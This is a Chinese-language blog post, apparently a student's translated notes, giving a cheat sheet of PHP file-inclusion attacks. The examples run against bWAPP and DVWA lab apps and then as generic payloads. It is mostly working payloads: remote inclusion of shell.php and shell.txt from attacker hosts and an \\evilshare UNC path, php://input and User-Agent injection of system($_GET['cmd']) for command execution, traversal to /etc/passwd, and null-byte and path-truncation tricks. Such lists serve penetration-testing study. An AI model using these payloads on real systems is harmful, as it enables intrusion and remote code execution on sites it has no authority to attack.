文件包含-Tips

学校要搞个译文(真特么不明白有什么卵用…),然后就找了几篇外国比较好的文章,趁着也涨点姿势。

基本的文件包含攻击

不多说,都懂

http://192.168.1.113/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.11/bWAPP/flfi.php?language=http://192.168.1.11/shell.php

扩展的文件包含攻击

加了个?不是很明白是什么原因,我觉得是截断

http://192.168.1.113/bWAPP/rlfi.php?language=lang_en.php&action=go into192.168.1.11/bWAPP/flfi.php? language=http://192.168.1.11/shell.php?

空字节截断

%00都是老套路

http://192.168.1.113/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.11/bWAPP/flfi.php?language=http://192.168.1.11/shell.php%00

更改HTTP

http://192.168.1.113/bWAPP/rlfi.php?language=lang_en.php&action=go into192.168.1.11/bWAPP/flfi.ph?language = HTTP://192.168.1.11/shell.php

更改图像扩展名

不知道老外为啥这样说,我觉得是文件伪装啊

修改文件内容,在文件头添加GIF89a,然后修改文件后缀为shell.gif

http://192.168.1.113/bWAPP/rlfi.php?language=lang_en.php&action=go into192.168.1.11/bWAPP/flfi.ph?language=http://192.168.1.11/shell.gif

黑名单攻击

修改大小写啦,修改后缀啦,解析漏洞啦,比如.PHP,.php3,.asa,.cer这些啦等等。

http://192.168.1.113/bWAPP/rlfi.php?language=lang_en.php&action=go into192.168.1.11/bWAPP/flfi.php?language=http://192.168.1.11/shell.PHP

Base64编码

http://192.168.1.113/bWAPP/rlfi.php?language= php://filter/read=convert.base64-encode-resource=http://192.168.1.11/shell.php

搞到最后老外自己还来个厉害了!!!,把我当时整蒙蔽了。。

PHP input输入流

套路…

1
2
3
http://192.168.1.101/bWAPP/rlfi.php?language=php://input&cmd=ls
POST:
<?php system($_GET['cmd']);?>

Proc/self/environ

这个有很多种的,不限于这个日志,比如access.log,error_log等各种日志文件。

通过包含User-Agent的proc/self/environ文件来利用

1
2
User-Agent: <?php system($_GET['cmd']);?>
http://192.168.1.102/dvwa/vulnerabilities/fi/?page=proc/self/environ&cmd=id

PHP文件包含

自己的小概述

基本的本地文件包含

<?php include(“inc/” .$_GET[‘file’]);?>
包含文件在当前目录下:
?file=.htaccess
目录遍历:
?file=../../../../../../../../var/lib/locate.db
包含注入的PHP代码:
?file=../../../../../../../var/log/apache/error.log
一些技巧:

  1. 可能的Apache目录列表
  2. 包含访问日志,比如/proc/self/fd/X
  3. 包含来拥有更多信息的proc文件系统
  4. 包含电子邮件的日志文件
  5. 包含ssh的认证日志文件 auth.log
  6. 尽可能多的尝试头像/图片/附件文件上传
  7. 包含会话文件
  8. 包含PHP的临时上传文件(可以利用条件竞争)
    如果你有一个phpinfo(),请参考我们Drops的文章LFI with PHPInfo本地测试过程

有限制的本地文件包含

<?php include(‘inc/’. $_GET[‘file’] . “.htm”); ?>
空字节注入:
?file=../../../../../../../../etc/passwd%00
(需要php配置关闭magic_quotes_gpc)
空字节注入目录列表:
?file=../../../../../../../var/www/accounts/%00
(仅限于UFS系统中,并且需要关闭magic_quotes_gpc)
路径截断:
?file=../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\...
点截断:
?file=../../../../../../etc/passwd…………………………
(仅限于windows系统中)
反向路径截断:
?file=../../../../[..]../../../etc/passwd

基本的远程文件包含

<?php include($_GET[‘file’]); ?>
包含远程代码:
?file=[http|https|ftp]://websec.wordpress.com/shell.txt
(需要allow_url_fopen、和allow_url_include开启)
使用php:input输入流:
?file=php://input
(在POST参数中设置你的攻击载荷,注意urlencoding,并且需要allow_url_include开启)
使用URIs数据:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要allow_url_include开启)
使用XSS:
?file=http://127.0.0.1/path/xss.php?xss=phpcode
(只有在防火墙或在白名单内的域名才有效)

有限制的远程文件包含

<?php include($_GET[‘file’] . “htm”); ?>
file=https://websec.wordpress.com/shell
?file=https://websec.wordpress.com/shell.txt?
?file=https://websec.wordpress.com/shell.txt%23
(需要allow_url_fopenallow_url_include开启)
?file=\\evilshare\shell.php
(绕过allow_url_fopen关闭的情况下)
过滤器逃逸:
访问带通配符的文件:

大爷,赏个铜板呗!